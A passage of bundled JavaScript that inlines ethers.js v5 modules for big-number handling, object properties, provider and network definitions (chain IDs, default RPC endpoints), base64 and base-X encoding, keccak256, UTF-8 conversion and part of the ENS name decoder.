_warnedToStringRadix = true;\n logger2.warn(\"BigNumber.toString does not accept any parameters; base-10 is assumed\");\n }\n } else if (arguments[0] === 16) {\n logger2.throwError(\"BigNumber.toString does not accept any parameters; use bigNumber.toHexString()\", Logger.errors.UNEXPECTED_ARGUMENT, {});\n } else {\n logger2.throwError(\"BigNumber.toString does not accept parameters\", Logger.errors.UNEXPECTED_ARGUMENT, {});\n }\n }\n return toBN(this).toString(10);\n }\n toHexString() {\n return this._hex;\n }\n toJSON(key2) {\n return { type: \"BigNumber\", hex: this.toHexString() };\n }\n static from(value) {\n if (value instanceof _BigNumber) {\n return value;\n }\n if (typeof value === \"string\") {\n if (value.match(/^-?0x[0-9a-f]+$/i)) {\n return new _BigNumber(_constructorGuard, toHex(value));\n }\n if (value.match(/^-?[0-9]+$/)) {\n return new _BigNumber(_constructorGuard, toHex(new BN(value)));\n }\n return logger2.throwArgumentError(\"invalid BigNumber string\", \"value\", value);\n }\n if (typeof value === \"number\") {\n if (value % 1) {\n throwFault(\"underflow\", \"BigNumber.from\", value);\n }\n if (value >= MAX_SAFE || value <= -MAX_SAFE) {\n throwFault(\"overflow\", \"BigNumber.from\", value);\n }\n return _BigNumber.from(String(value));\n }\n const anyValue = value;\n if (typeof anyValue === \"bigint\") {\n return _BigNumber.from(anyValue.toString());\n }\n if (isBytes(anyValue)) {\n return _BigNumber.from(hexlify(anyValue));\n }\n if (anyValue) {\n if (anyValue.toHexString) {\n const hex = anyValue.toHexString();\n if (typeof hex === \"string\") {\n return _BigNumber.from(hex);\n }\n } else {\n let hex = anyValue._hex;\n if (hex == null && anyValue.type === \"BigNumber\") {\n hex = anyValue.hex;\n }\n if (typeof hex === \"string\") {\n if (isHexString(hex) || hex[0] === \"-\" && isHexString(hex.substring(1))) {\n return _BigNumber.from(hex);\n }\n }\n }\n }\n return logger2.throwArgumentError(\"invalid BigNumber value\", \"value\", value);\n }\n static isBigNumber(value) {\n return !!(value && value._isBigNumber);\n }\n};\nfunction toHex(value) {\n if (typeof value !== \"string\") {\n return toHex(value.toString(16));\n }\n if (value[0] === \"-\") {\n value = value.substring(1);\n if (value[0] === \"-\") {\n logger2.throwArgumentError(\"invalid hex\", \"value\", value);\n }\n value = toHex(value);\n if (value === \"0x00\") {\n return value;\n }\n return \"-\" + value;\n }\n if (value.substring(0, 2) !== \"0x\") {\n value = \"0x\" + value;\n }\n if (value === \"0x\") {\n return \"0x00\";\n }\n if (value.length % 2) {\n value = \"0x0\" + value.substring(2);\n }\n while (value.length > 4 && value.substring(0, 4) === \"0x00\") {\n value = \"0x\" + value.substring(4);\n }\n return value;\n}\nfunction toBigNumber(value) {\n return BigNumber.from(toHex(value));\n}\nfunction toBN(value) {\n const hex = BigNumber.from(value).toHexString();\n if (hex[0] === \"-\") {\n return new BN(\"-\" + hex.substring(3), 16);\n }\n return new BN(hex.substring(2), 16);\n}\nfunction throwFault(fault, operation, value) {\n const params = { fault, operation };\n if (value != null) {\n params.value = value;\n }\n return logger2.throwError(fault, Logger.errors.NUMERIC_FAULT, params);\n}\nfunction _base36To16(value) {\n return new BN(value, 36).toString(16);\n}\n\n// node_modules/@ethersproject/properties/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/properties/lib.esm/_version.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar version4 = \"properties/5.7.0\";\n\n// node_modules/@ethersproject/properties/lib.esm/index.js\nvar __awaiter = function(thisArg, _arguments, P, generator) {\n function adopt(value) {\n return value instanceof P ? value : new P(function(resolve) {\n resolve(value);\n });\n }\n return new (P || (P = Promise))(function(resolve, reject) {\n function fulfilled(value) {\n try {\n step(generator.next(value));\n } catch (e) {\n reject(e);\n }\n }\n function rejected(value) {\n try {\n step(generator[\"throw\"](value));\n } catch (e) {\n reject(e);\n }\n }\n function step(result) {\n result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected);\n }\n step((generator = generator.apply(thisArg, _arguments || [])).next());\n });\n};\nvar logger3 = new Logger(version4);\nfunction defineReadOnly(object, name, value) {\n Object.defineProperty(object, name, {\n enumerable: true,\n value,\n writable: false\n });\n}\nfunction getStatic(ctor, key2) {\n for (let i = 0; i < 32; i++) {\n if (ctor[key2]) {\n return ctor[key2];\n }\n if (!ctor.prototype || typeof ctor.prototype !== \"object\") {\n break;\n }\n ctor = Object.getPrototypeOf(ctor.prototype).constructor;\n }\n return null;\n}\nfunction resolveProperties(object) {\n return __awaiter(this, void 0, void 0, function* () {\n const promises = Object.keys(object).map((key2) => {\n const value = object[key2];\n return Promise.resolve(value).then((v) => ({ key: key2, value: v }));\n });\n const results = yield Promise.all(promises);\n return results.reduce((accum, result) => {\n accum[result.key] = result.value;\n return accum;\n }, {});\n });\n}\nfunction checkProperties(object, properties) {\n if (!object || typeof object !== \"object\") {\n logger3.throwArgumentError(\"invalid object\", \"object\", object);\n }\n Object.keys(object).forEach((key2) => {\n if (!properties[key2]) {\n logger3.throwArgumentError(\"invalid object key - \" + key2, \"transaction:\" + key2, object);\n }\n });\n}\nfunction shallowCopy(object) {\n const result = {};\n for (const key2 in object) {\n result[key2] = object[key2];\n }\n return result;\n}\nvar opaque = { bigint: true, boolean: true, \"function\": true, number: true, string: true };\nfunction _isFrozen(object) {\n if (object === void 0 || object === null || opaque[typeof object]) {\n return true;\n }\n if (Array.isArray(object) || typeof object === \"object\") {\n if (!Object.isFrozen(object)) {\n return false;\n }\n const keys = Object.keys(object);\n for (let i = 0; i < keys.length; i++) {\n let value = null;\n try {\n value = object[keys[i]];\n } catch (error) {\n continue;\n }\n if (!_isFrozen(value)) {\n return false;\n }\n }\n return true;\n }\n return logger3.throwArgumentError(`Cannot deepCopy ${typeof object}`, \"object\", object);\n}\nfunction _deepCopy(object) {\n if (_isFrozen(object)) {\n return object;\n }\n if (Array.isArray(object)) {\n return Object.freeze(object.map((item) => deepCopy(item)));\n }\n if (typeof object === \"object\") {\n const result = {};\n for (const key2 in object) {\n const value = object[key2];\n if (value === void 0) {\n continue;\n }\n defineReadOnly(result, key2, deepCopy(value));\n }\n return result;\n }\n return logger3.throwArgumentError(`Cannot deepCopy ${typeof object}`, \"object\", object);\n}\nfunction deepCopy(object) {\n return _deepCopy(object);\n}\nvar Description = class {\n constructor(info) {\n for (const key2 in info) {\n this[key2] = deepCopy(info[key2]);\n }\n }\n};\n\n// node_modules/@ethersproject/abstract-provider/lib.esm/_version.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar version5 = \"abstract-provider/5.7.0\";\n\n// node_modules/@ethersproject/abstract-provider/lib.esm/index.js\nvar __awaiter2 = function(thisArg, _arguments, P, generator) {\n function adopt(value) {\n return value instanceof P ? value : new P(function(resolve) {\n resolve(value);\n });\n }\n return new (P || (P = Promise))(function(resolve, reject) {\n function fulfilled(value) {\n try {\n step(generator.next(value));\n } catch (e) {\n reject(e);\n }\n }\n function rejected(value) {\n try {\n step(generator[\"throw\"](value));\n } catch (e) {\n reject(e);\n }\n }\n function step(result) {\n result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected);\n }\n step((generator = generator.apply(thisArg, _arguments || [])).next());\n });\n};\nvar logger4 = new Logger(version5);\nvar ForkEvent = class extends Description {\n static isForkEvent(value) {\n return !!(value && value._isForkEvent);\n }\n};\nvar Provider = class _Provider {\n constructor() {\n logger4.checkAbstract(new.target, _Provider);\n defineReadOnly(this, \"_isProvider\", true);\n }\n getFeeData() {\n return __awaiter2(this, void 0, void 0, function* () {\n const { block, gasPrice } = yield resolveProperties({\n block: this.getBlock(\"latest\"),\n gasPrice: this.getGasPrice().catch((error) => {\n return null;\n })\n });\n let lastBaseFeePerGas = null, maxFeePerGas = null, maxPriorityFeePerGas = null;\n if (block && block.baseFeePerGas) {\n lastBaseFeePerGas = block.baseFeePerGas;\n maxPriorityFeePerGas = BigNumber.from(\"1500000000\");\n maxFeePerGas = block.baseFeePerGas.mul(2).add(maxPriorityFeePerGas);\n }\n return { lastBaseFeePerGas, maxFeePerGas, maxPriorityFeePerGas, gasPrice };\n });\n }\n // Alias for \"on\"\n addListener(eventName, listener) {\n return this.on(eventName, listener);\n }\n // Alias for \"off\"\n removeListener(eventName, listener) {\n return this.off(eventName, listener);\n }\n static isProvider(value) {\n return !!(value && value._isProvider);\n }\n};\n\n// node_modules/@ethersproject/networks/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/networks/lib.esm/_version.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar version6 = \"networks/5.7.1\";\n\n// node_modules/@ethersproject/networks/lib.esm/index.js\nvar logger5 = new Logger(version6);\nfunction isRenetworkable(value) {\n return value && typeof value.renetwork === \"function\";\n}\nfunction ethDefaultProvider(network) {\n const func = function(providers, options) {\n if (options == null) {\n options = {};\n }\n const providerList = [];\n if (providers.InfuraProvider && options.infura !== \"-\") {\n try {\n providerList.push(new providers.InfuraProvider(network, options.infura));\n } catch (error) {\n }\n }\n if (providers.EtherscanProvider && options.etherscan !== \"-\") {\n try {\n providerList.push(new providers.EtherscanProvider(network, options.etherscan));\n } catch (error) {\n }\n }\n if (providers.AlchemyProvider && options.alchemy !== \"-\") {\n try {\n providerList.push(new providers.AlchemyProvider(network, options.alchemy));\n } catch (error) {\n }\n }\n if (providers.PocketProvider && options.pocket !== \"-\") {\n const skip = [\"goerli\", \"ropsten\", \"rinkeby\", \"sepolia\"];\n try {\n const provider = new providers.PocketProvider(network, options.pocket);\n if (provider.network && skip.indexOf(provider.network.name) === -1) {\n providerList.push(provider);\n }\n } catch (error) {\n }\n }\n if (providers.CloudflareProvider && options.cloudflare !== \"-\") {\n try {\n providerList.push(new providers.CloudflareProvider(network));\n } catch (error) {\n }\n }\n if (providers.AnkrProvider && options.ankr !== \"-\") {\n try {\n const skip = [\"ropsten\"];\n const provider = new providers.AnkrProvider(network, options.ankr);\n if (provider.network && skip.indexOf(provider.network.name) === -1) {\n providerList.push(provider);\n }\n } catch (error) {\n }\n }\n if (providerList.length === 0) {\n return null;\n }\n if (providers.FallbackProvider) {\n let quorum = 1;\n if (options.quorum != null) {\n quorum = options.quorum;\n } else if (network === \"homestead\") {\n quorum = 2;\n }\n return new providers.FallbackProvider(providerList, quorum);\n }\n return providerList[0];\n };\n func.renetwork = function(network2) {\n return ethDefaultProvider(network2);\n };\n return func;\n}\nfunction etcDefaultProvider(url, network) {\n const func = function(providers, options) {\n if (providers.JsonRpcProvider) {\n return new providers.JsonRpcProvider(url, network);\n }\n return null;\n };\n func.renetwork = function(network2) {\n return etcDefaultProvider(url, network2);\n };\n return func;\n}\nvar homestead = {\n chainId: 1,\n ensAddress: \"0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e\",\n name: \"homestead\",\n _defaultProvider: ethDefaultProvider(\"homestead\")\n};\nvar ropsten = {\n chainId: 3,\n ensAddress: \"0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e\",\n name: \"ropsten\",\n _defaultProvider: ethDefaultProvider(\"ropsten\")\n};\nvar classicMordor = {\n chainId: 63,\n name: \"classicMordor\",\n _defaultProvider: etcDefaultProvider(\"https://www.ethercluster.com/mordor\", \"classicMordor\")\n};\nvar networks = {\n unspecified: { chainId: 0, name: \"unspecified\" },\n homestead,\n mainnet: homestead,\n morden: { chainId: 2, name: \"morden\" },\n ropsten,\n testnet: ropsten,\n rinkeby: {\n chainId: 4,\n ensAddress: \"0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e\",\n name: \"rinkeby\",\n _defaultProvider: ethDefaultProvider(\"rinkeby\")\n },\n kovan: {\n chainId: 42,\n name: \"kovan\",\n _defaultProvider: ethDefaultProvider(\"kovan\")\n },\n goerli: {\n chainId: 5,\n ensAddress: \"0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e\",\n name: \"goerli\",\n _defaultProvider: ethDefaultProvider(\"goerli\")\n },\n kintsugi: { chainId: 1337702, name: \"kintsugi\" },\n sepolia: {\n chainId: 11155111,\n name: \"sepolia\",\n _defaultProvider: ethDefaultProvider(\"sepolia\")\n },\n // ETC (See: #351)\n classic: {\n chainId: 61,\n name: \"classic\",\n _defaultProvider: etcDefaultProvider(\"https://www.ethercluster.com/etc\", \"classic\")\n },\n classicMorden: { chainId: 62, name: \"classicMorden\" },\n classicMordor,\n classicTestnet: classicMordor,\n classicKotti: {\n chainId: 6,\n name: \"classicKotti\",\n _defaultProvider: etcDefaultProvider(\"https://www.ethercluster.com/kotti\", \"classicKotti\")\n },\n xdai: { chainId: 100, name: \"xdai\" },\n matic: {\n chainId: 137,\n name: \"matic\",\n _defaultProvider: ethDefaultProvider(\"matic\")\n },\n maticmum: { chainId: 80001, name: \"maticmum\" },\n optimism: {\n chainId: 10,\n name: \"optimism\",\n _defaultProvider: ethDefaultProvider(\"optimism\")\n },\n \"optimism-kovan\": { chainId: 69, name: \"optimism-kovan\" },\n \"optimism-goerli\": { chainId: 420, name: \"optimism-goerli\" },\n arbitrum: { chainId: 42161, name: \"arbitrum\" },\n \"arbitrum-rinkeby\": { chainId: 421611, name: \"arbitrum-rinkeby\" },\n \"arbitrum-goerli\": { chainId: 421613, name: \"arbitrum-goerli\" },\n bnb: { chainId: 56, name: \"bnb\" },\n bnbt: { chainId: 97, name: \"bnbt\" }\n};\nfunction getNetwork(network) {\n if (network == null) {\n return null;\n }\n if (typeof network === \"number\") {\n for (const name in networks) {\n const standard2 = networks[name];\n if (standard2.chainId === network) {\n return {\n name: standard2.name,\n chainId: standard2.chainId,\n ensAddress: standard2.ensAddress || null,\n _defaultProvider: standard2._defaultProvider || null\n };\n }\n }\n return {\n chainId: network,\n name: \"unknown\"\n };\n }\n if (typeof network === \"string\") {\n const standard2 = networks[network];\n if (standard2 == null) {\n return null;\n }\n return {\n name: standard2.name,\n chainId: standard2.chainId,\n ensAddress: standard2.ensAddress,\n _defaultProvider: standard2._defaultProvider || null\n };\n }\n const standard = networks[network.name];\n if (!standard) {\n if (typeof network.chainId !== \"number\") {\n logger5.throwArgumentError(\"invalid network chainId\", \"network\", network);\n }\n return network;\n }\n if (network.chainId !== 0 && network.chainId !== standard.chainId) {\n logger5.throwArgumentError(\"network chainId mismatch\", \"network\", network);\n }\n let defaultProvider = network._defaultProvider || null;\n if (defaultProvider == null && standard._defaultProvider) {\n if (isRenetworkable(standard._defaultProvider)) {\n defaultProvider = standard._defaultProvider.renetwork(network);\n } else {\n defaultProvider = standard._defaultProvider;\n }\n }\n return {\n name: network.name,\n chainId: standard.chainId,\n ensAddress: network.ensAddress || standard.ensAddress || null,\n _defaultProvider: defaultProvider\n };\n}\n\n// node_modules/@ethersproject/providers/lib.esm/base-provider.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/base64/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/base64/lib.esm/base64.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nfunction decode(textData) {\n textData = atob(textData);\n const data = [];\n for (let i = 0; i < textData.length; i++) {\n data.push(textData.charCodeAt(i));\n }\n return arrayify(data);\n}\nfunction encode(data) {\n data = arrayify(data);\n let textData = \"\";\n for (let i = 0; i < data.length; i++) {\n textData += String.fromCharCode(data[i]);\n }\n return btoa(textData);\n}\n\n// node_modules/@ethersproject/basex/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar BaseX = class {\n constructor(alphabet) {\n defineReadOnly(this, \"alphabet\", alphabet);\n defineReadOnly(this, \"base\", alphabet.length);\n defineReadOnly(this, \"_alphabetMap\", {});\n defineReadOnly(this, \"_leader\", alphabet.charAt(0));\n for (let i = 0; i < alphabet.length; i++) {\n this._alphabetMap[alphabet.charAt(i)] = i;\n }\n }\n encode(value) {\n let source = arrayify(value);\n if (source.length === 0) {\n return \"\";\n }\n let digits = [0];\n for (let i = 0; i < source.length; ++i) {\n let carry = source[i];\n for (let j = 0; j < digits.length; ++j) {\n carry += digits[j] << 8;\n digits[j] = carry % this.base;\n carry = carry / this.base | 0;\n }\n while (carry > 0) {\n digits.push(carry % this.base);\n carry = carry / this.base | 0;\n }\n }\n let string = \"\";\n for (let k = 0; source[k] === 0 && k < source.length - 1; ++k) {\n string += this._leader;\n }\n for (let q = digits.length - 1; q >= 0; --q) {\n string += this.alphabet[digits[q]];\n }\n return string;\n }\n decode(value) {\n if (typeof value !== \"string\") {\n throw new TypeError(\"Expected String\");\n }\n let bytes = [];\n if (value.length === 0) {\n return new Uint8Array(bytes);\n }\n bytes.push(0);\n for (let i = 0; i < value.length; i++) {\n let byte = this._alphabetMap[value[i]];\n if (byte === void 0) {\n throw new Error(\"Non-base\" + this.base + \" character\");\n }\n let carry = byte;\n for (let j = 0; j < bytes.length; ++j) {\n carry += bytes[j] * this.base;\n bytes[j] = carry & 255;\n carry >>= 8;\n }\n while (carry > 0) {\n bytes.push(carry & 255);\n carry >>= 8;\n }\n }\n for (let k = 0; value[k] === this._leader && k < value.length - 1; ++k) {\n bytes.push(0);\n }\n return arrayify(new Uint8Array(bytes.reverse()));\n }\n};\nvar Base32 = new BaseX(\"abcdefghijklmnopqrstuvwxyz234567\");\nvar Base58 = new BaseX(\"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\");\n\n// node_modules/@ethersproject/constants/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/constants/lib.esm/addresses.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar AddressZero = \"0x0000000000000000000000000000000000000000\";\n\n// node_modules/@ethersproject/constants/lib.esm/bignumbers.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar Zero = /* @__PURE__ */ BigNumber.from(0);\n\n// node_modules/@ethersproject/constants/lib.esm/hashes.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar HashZero = \"0x0000000000000000000000000000000000000000000000000000000000000000\";\n\n// node_modules/@ethersproject/hash/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/hash/lib.esm/id.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/keccak256/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar import_js_sha3 = __toESM(require_sha3());\nfunction keccak256(data) {\n return \"0x\" + import_js_sha3.default.keccak_256(arrayify(data));\n}\n\n// node_modules/@ethersproject/strings/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/strings/lib.esm/utf8.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/strings/lib.esm/_version.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar version7 = \"strings/5.7.0\";\n\n// node_modules/@ethersproject/strings/lib.esm/utf8.js\nvar logger6 = new Logger(version7);\nvar UnicodeNormalizationForm;\n(function(UnicodeNormalizationForm2) {\n UnicodeNormalizationForm2[\"current\"] = \"\";\n UnicodeNormalizationForm2[\"NFC\"] = \"NFC\";\n UnicodeNormalizationForm2[\"NFD\"] = \"NFD\";\n UnicodeNormalizationForm2[\"NFKC\"] = \"NFKC\";\n UnicodeNormalizationForm2[\"NFKD\"] = \"NFKD\";\n})(UnicodeNormalizationForm || (UnicodeNormalizationForm = {}));\nvar Utf8ErrorReason;\n(function(Utf8ErrorReason2) {\n Utf8ErrorReason2[\"UNEXPECTED_CONTINUE\"] = \"unexpected continuation byte\";\n Utf8ErrorReason2[\"BAD_PREFIX\"] = \"bad codepoint prefix\";\n Utf8ErrorReason2[\"OVERRUN\"] = \"string overrun\";\n Utf8ErrorReason2[\"MISSING_CONTINUE\"] = \"missing continuation byte\";\n Utf8ErrorReason2[\"OUT_OF_RANGE\"] = \"out of UTF-8 range\";\n Utf8ErrorReason2[\"UTF16_SURROGATE\"] = \"UTF-16 surrogate\";\n Utf8ErrorReason2[\"OVERLONG\"] = \"overlong representation\";\n})(Utf8ErrorReason || (Utf8ErrorReason = {}));\nfunction errorFunc(reason, offset, bytes, output, badCodepoint) {\n return logger6.throwArgumentError(`invalid codepoint at offset ${offset}; ${reason}`, \"bytes\", bytes);\n}\nfunction ignoreFunc(reason, offset, bytes, output, badCodepoint) {\n if (reason === Utf8ErrorReason.BAD_PREFIX || reason === Utf8ErrorReason.UNEXPECTED_CONTINUE) {\n let i = 0;\n for (let o = offset + 1; o < bytes.length; o++) {\n if (bytes[o] >> 6 !== 2) {\n break;\n }\n i++;\n }\n return i;\n }\n if (reason === Utf8ErrorReason.OVERRUN) {\n return bytes.length - offset - 1;\n }\n return 0;\n}\nfunction replaceFunc(reason, offset, bytes, output, badCodepoint) {\n if (reason === Utf8ErrorReason.OVERLONG) {\n output.push(badCodepoint);\n return 0;\n }\n output.push(65533);\n return ignoreFunc(reason, offset, bytes, output, badCodepoint);\n}\nvar Utf8ErrorFuncs = Object.freeze({\n error: errorFunc,\n ignore: ignoreFunc,\n replace: replaceFunc\n});\nfunction getUtf8CodePoints(bytes, onError) {\n if (onError == null) {\n onError = Utf8ErrorFuncs.error;\n }\n bytes = arrayify(bytes);\n const result = [];\n let i = 0;\n while (i < bytes.length) {\n const c = bytes[i++];\n if (c >> 7 === 0) {\n result.push(c);\n continue;\n }\n let extraLength = null;\n let overlongMask = null;\n if ((c & 224) === 192) {\n extraLength = 1;\n overlongMask = 127;\n } else if ((c & 240) === 224) {\n extraLength = 2;\n overlongMask = 2047;\n } else if ((c & 248) === 240) {\n extraLength = 3;\n overlongMask = 65535;\n } else {\n if ((c & 192) === 128) {\n i += onError(Utf8ErrorReason.UNEXPECTED_CONTINUE, i - 1, bytes, result);\n } else {\n i += onError(Utf8ErrorReason.BAD_PREFIX, i - 1, bytes, result);\n }\n continue;\n }\n if (i - 1 + extraLength >= bytes.length) {\n i += onError(Utf8ErrorReason.OVERRUN, i - 1, bytes, result);\n continue;\n }\n let res = c & (1 << 8 - extraLength - 1) - 1;\n for (let j = 0; j < extraLength; j++) {\n let nextChar = bytes[i];\n if ((nextChar & 192) != 128) {\n i += onError(Utf8ErrorReason.MISSING_CONTINUE, i, bytes, result);\n res = null;\n break;\n }\n ;\n res = res << 6 | nextChar & 63;\n i++;\n }\n if (res === null) {\n continue;\n }\n if (res > 1114111) {\n i += onError(Utf8ErrorReason.OUT_OF_RANGE, i - 1 - extraLength, bytes, result, res);\n continue;\n }\n if (res >= 55296 && res <= 57343) {\n i += onError(Utf8ErrorReason.UTF16_SURROGATE, i - 1 - extraLength, bytes, result, res);\n continue;\n }\n if (res <= overlongMask) {\n i += onError(Utf8ErrorReason.OVERLONG, i - 1 - extraLength, bytes, result, res);\n continue;\n }\n result.push(res);\n }\n return result;\n}\nfunction toUtf8Bytes(str, form = UnicodeNormalizationForm.current) {\n if (form != UnicodeNormalizationForm.current) {\n logger6.checkNormalize();\n str = str.normalize(form);\n }\n let result = [];\n for (let i = 0; i < str.length; i++) {\n const c = str.charCodeAt(i);\n if (c < 128) {\n result.push(c);\n } else if (c < 2048) {\n result.push(c >> 6 | 192);\n result.push(c & 63 | 128);\n } else if ((c & 64512) == 55296) {\n i++;\n const c2 = str.charCodeAt(i);\n if (i >= str.length || (c2 & 64512) !== 56320) {\n throw new Error(\"invalid utf-8 string\");\n }\n const pair = 65536 + ((c & 1023) << 10) + (c2 & 1023);\n result.push(pair >> 18 | 240);\n result.push(pair >> 12 & 63 | 128);\n result.push(pair >> 6 & 63 | 128);\n result.push(pair & 63 | 128);\n } else {\n result.push(c >> 12 | 224);\n result.push(c >> 6 & 63 | 128);\n result.push(c & 63 | 128);\n }\n }\n return arrayify(result);\n}\nfunction _toUtf8String(codePoints) {\n return codePoints.map((codePoint) => {\n if (codePoint <= 65535) {\n return String.fromCharCode(codePoint);\n }\n codePoint -= 65536;\n return String.fromCharCode((codePoint >> 10 & 1023) + 55296, (codePoint & 1023) + 56320);\n }).join(\"\");\n}\nfunction toUtf8String(bytes, onError) {\n return _toUtf8String(getUtf8CodePoints(bytes, onError));\n}\nfunction toUtf8CodePoints(str, form = UnicodeNormalizationForm.current) {\n return getUtf8CodePoints(toUtf8Bytes(str, form));\n}\n\n// node_modules/@ethersproject/hash/lib.esm/id.js\nfunction id(text) {\n return keccak256(toUtf8Bytes(text));\n}\n\n// node_modules/@ethersproject/hash/lib.esm/namehash.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/hash/lib.esm/_version.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar version8 = \"hash/5.7.0\";\n\n// node_modules/@ethersproject/hash/lib.esm/ens-normalize/lib.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/hash/lib.esm/ens-normalize/include.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/hash/lib.esm/ens-normalize/decoder.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nfunction flat(array, depth) {\n if (depth == null) {\n depth = 1;\n }\n const result = [];\n const forEach2 = result.forEach;\n const flatDeep = function(arr, depth2) {\n forEach2.call(arr, function(val) {\n if (depth2 > 0 && Array.isArray(val)) {\n flatDeep(val, depth2 - 1);\n } else {\n result.push(val);\n }\n });\n };\n flatDeep(array, depth);\n return result;\n}\nfunction fromEntries(array) {\n const result = {};\n for (let i = 0; i < array.length; i++) {\n const value = array[i];\n result[value[0]] = value[1];\n }\n return result;\n}\nfunction decode_arithmetic(bytes) {\n let pos = 0;\n function u16() {\n return bytes[pos++] << 8 | bytes[pos++];\n }\n let symbol_count = u16();\n let total = 1;\n let acc = [0, 1];\n for (let i = 1; i < symbol_count; i++) {\n acc.push(total += u16());\n }\n let skip = u16();\n let pos_payload = pos;\n pos += skip;\n let read_width = 0;\n let read_buffer = 0;\n function read_bit() {\n if (read_width == 0) {\n read_buffer = read_buffer << 8 | bytes[pos++];\n read_width = 8;\n }\n return read_buffer >> --read_width & 1;\n }\n const N = 31;\n const FULL = Math.pow(2, N);\n const HALF = FULL >>> 1;\n const QRTR = HALF >> 1;\n const MASK = FULL - 1;\n let register = 0;\n for (let i = 0; i < N; i++)\n register = register << 1 | read_bit();\n let symbols = [];\n let low = 0;\n let range = FULL;\n while (true) {\n let value = Math.floor(((register - low + 1) * total - 1) / range);\n let start = 0;\n let end = symbol_count;\n while (end - start > 1) {\n let mid = start + end >>> 1;\n if (value < acc[mid]) {\n end = mid;\n } else {\n start = mid;\n }\n }\n if (start == 0)\n break;\n symbols.push(start);\n let a = low + Math.floor(range * acc[start] / total);\n let b = low + Math.floor(range * acc[start + 1] / total) - 1;\n while (((a ^ b) & HALF) == 0) {\n register = register << 1 & MASK | read_bit();\n a = a << 1 & MASK;\n b = b << 1 & MASK | 1;\n }\n while (a & ~b & QRTR) {\n register = register & HALF | register << 1 & MASK >>> 1 | read_bit();\n a = a << 1 ^ HALF;\n b = (b ^ HALF) << 1 | HALF | 1;\n }\n low = a;\n range = 1 + b - a;\n }\n let offset = symbol_count - 4;\n return symbols.map((x) => {\n switch (x - offset) {\n case 3:\n return offset + 65792 + (bytes[pos_payload++] << 16 | bytes[pos_payload++] << 8 | bytes[pos_payload++]);\n case 2:\n return offset + 256 + (bytes[pos_payload++] << 8 | bytes[pos_payload++]);\n case 1:\n return offset + bytes[pos_payload++];\n default:\n return x - 1;\n }\n });\n}\nfunction read_payload(v) {\n let pos = 0;\n return () => v[pos++];\n}\nfunction read_compressed_payload(bytes) {\n return read_payload(decode_arithmetic(bytes));\n}\nfunction signed(i) {\n return i & 1 ? ~i >> 1 : i >> 1;\n}\nfunction read_counts(n, next) {\n let v = Array(n);\n for (let i = 0; i < n; i++)\n v[i] = 1 + next();\n return v;\n}\nfunction read_ascending(n, next) {\n let v = Array(n);\n for (let i = 0, x = -1; i < n; i++)\n v[i] = x += 1 + next();\n return v;\n}\nfunction read_deltas(n, next) {\n let v = Array(n);\n for (let i = 0, x = 0; i < n; i++)\n v[i] = x += signed(next());\n return v;\n}\nfunction read_member_array(next, lookup) {\n let v = read_ascending(next(), next);\n let n = next();\n let vX = read_ascending(n, next);\n let vN = read_counts(n, next);\n for (let i = 0; i < n; i++) {\n for (let j = 0; j < vN[i]; j++) {\n v.push(vX[i] + j);\n }\n }\n return lookup ? v.map((x) => lookup[x]) : v;\n}\nfunction read_mapped_map(next) {\n let ret = [];\n while (true) {\n let w = next();\n if (w == 0)\n break;\n ret.push(read_linear_table(w, next));\n }\n while (true) {\n let w = next() - 1;\n if (w < 0)\n break;\n ret.push(read_replacement_table(w, next));\n }\n return fromEntries(flat(ret));\n}\nfunction read_zero_terminated_array(next) {\n let v = [];\n while (true) {\n let i = next();\n if (i == 0)\n break;\n v.push(i);\n }\n return v;\n}\nfunction read_transposed(n, w, next) {\n let m = Array(n).fill(void 0).map(() => []);\n for (let i = 0; i < w; i++) {\n read_deltas(n, next).forEach((x, j) => m[j].push(x));\n }\n return m;\n}\nfunction read_linear_table(w, next) {\n let dx = 1 + next();\n let dy = next();\n let vN = read_zero_terminated_array(next);\n let m = read_transposed(vN.length, 1 + w, next);\n return flat(m.map((v, i) => {\n const x = v[0], ys = v.slice(1);\n return Array(vN[i]).fill(void 0).map((_, j) => {\n let j_dy = j * dy;\n return [x + j * dx, ys.map((y) => y + j_dy)];\n });\n }));\n}\nfunction read_replacement_table(w, next) {\n let n = 1 + next();\n let m = read_transposed(n, 1 + w, next);\n return m.map((v) => [v[0], v.slice(1)]);\n}\nfunction read_emoji_trie(next) {\n let sorted = read_member_array(next).sort((a, b) => a - b);\n return read();\n function read() {\n let branches = [];\n while (true) {\n let keys = read_member_array(next, 